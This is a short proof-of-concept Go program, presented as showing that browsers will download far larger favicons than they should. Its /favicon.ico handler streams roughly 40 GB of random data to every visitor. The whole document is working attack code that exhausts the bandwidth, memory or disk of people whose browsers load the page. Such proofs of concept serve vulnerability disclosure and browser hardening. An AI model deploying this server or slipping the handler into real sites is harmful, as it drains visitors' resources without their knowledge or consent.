PoC to make browsers download favicons that are way bigger than should be allowed.

bigfavicon.go

package main

import (
        "crypto/rand"
        "fmt"
        "log"
        "net/http"
        "os"
)

func main() {
        fmt.Println("Started:")
        http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
                w.Write([]byte("Hey"))
        })
        http.HandleFunc("/favicon.ico", func(w http.ResponseWriter, r *http.Request) {
                b := make([]byte, 4096)
                for i := 0; i < 10000000; i++ {
                        _, err := rand.Read(b)
                        if err == nil {
                                fmt.Printf("Writing to %s\n", r.RemoteAddr)
                                w.Write(b)
                        }
                }
        })
        err := http.ListenAndServe(":8080", nil)
        if err != nil {
                fmt.Println("Server did not start")
                log.Println(err)
                os.Exit(1)
        }
}